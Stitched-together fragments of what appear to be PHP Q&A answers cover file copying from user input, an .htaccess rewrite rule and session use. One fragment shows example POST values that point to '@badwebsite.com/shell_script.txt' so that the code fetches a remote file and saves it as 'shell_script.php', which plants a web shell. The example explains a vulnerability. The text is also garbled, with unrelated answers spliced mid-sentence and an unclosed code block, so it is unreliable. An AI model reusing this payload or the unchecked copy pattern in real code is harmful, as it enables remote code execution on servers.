it fixes the issue You should never use Session for Authentication or any security for that matter.
As I mentioned in my comments to Chris,

around this issue It depends on what you're going to do with that file. The username field can pass something that would point you to a file not on that website like:
$_POST['username'] = '@not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];
$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See @SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
    // Now we have the image stored on our local system
    copy($image, 'assets/' . $username);
$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '@badwebsite.com/shell_script.txt';

How can I create a single dynamic user page to process any user from their unique id

To fix this issue I have a form that submits to the database. From there I would like to generate a unique url and populate that page with data from the database. , This is an .htaccess issue.
Add this code to your .htaccess file:
# Turns on Mod-Rewrite Engine
# ----------------------------------------------------------------
RewriteEngine on 
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l

# Pages 
# ----------------------------------------------------------------
RewriteRule ^([^/]+)/?$ WHATEVER-PAGE.php?id=$1 [QSA,L]

will help you I have a PHP page which should display the currently logged in users information like firstname, lastname, etc. The only problem I am having on the page is that it only displays the first user account within the database which happens to be the admin account on any user account I am logged in with on my website which is false as the information on there should be unique for each user. ,
mysql_* functions are deprecated. try to use at least mysqli_*
$_SESSION['uid'] = $raw['user_id'];
